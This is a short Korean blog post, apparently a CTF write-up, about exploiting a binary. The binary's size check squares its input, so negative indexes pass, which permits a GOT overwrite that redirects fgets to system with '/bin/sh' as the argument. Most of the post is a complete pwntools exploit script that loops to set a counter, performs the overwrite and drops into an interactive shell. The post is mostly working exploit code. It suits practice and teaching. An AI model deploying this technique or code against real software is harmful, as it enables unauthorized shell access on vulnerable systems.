취약점은 v2*v2>1600만 확인하는 부분이다!
그렇다면 음수나 0이어도 상관이 없다는 것이다!
v2+40*v1+0x804a0a0=count를 이용하자
v1에 0을 넣고 v2에는 원하는 음수 값을 넣으면 got overwrite이 가능하다(count는 v0, v1,에 0을 넣는 것을 반복하여 원하는 count를 만들어줄 수 있다.)
system이 주어졌으므로,
fgets의 got<-system의 plt를 넣어준다.
그리고 name에 /bin/sh를 입력하여 overwrite된 system의 인자로 /bin/sh가 들어가게 한다.
count를 맞춰주기 위해 익스에서 반복문을 이용해서 재미있었다
from pwn import *
import time
s=process('./2015410208_1')
time.sleep(0.1)
s.recv(4096)
s.send("/bin/sh"+"\n")
time.sleep(0.1)
s.recv(4096)
s.send("0\n")
s.recv(1024)
s.send("0\n")
time.sleep(0.1)
i=3
while(i<0x86):
time.sleep(0.1)
s.recv(4096)
if(i==0x04):
y=-138
elif(i==0x08):
y=-137
elif(i==0x70):
y=-140
elif(i==0x85):
y=-139
else:
y=0
s.send("0\n")
time.sleep(0.1)
s.recv(1024)
time.sleep(0.1)
s.send(str(y)+'\n')
i=i+1
time.sleep(0.1)
s.recv(4096)
s.send("40\n")
time.sleep(0.1)
s.recv(1024)
time.sleep(0.1)
s.send("41\n")
print s.recv(1024)
print s.recv(1024)
s.interactive()
s.close()
'시스템 해킹 > cykor' 카테고리의 다른 글
rain_dROP-카나리 릭, 메모리 릭 (0) | 2018.01.02 |
---|---|
derby-카나리 릭 (0) | 2018.01.02 |
daRk_TempLer-read함수의 null (0) | 2017.12.29 |
catchme-노가다, 스택버퍼오버플로우 (0) | 2017.12.29 |
20121209-메모리 릭, fake ebp (0) | 2017.12.29 |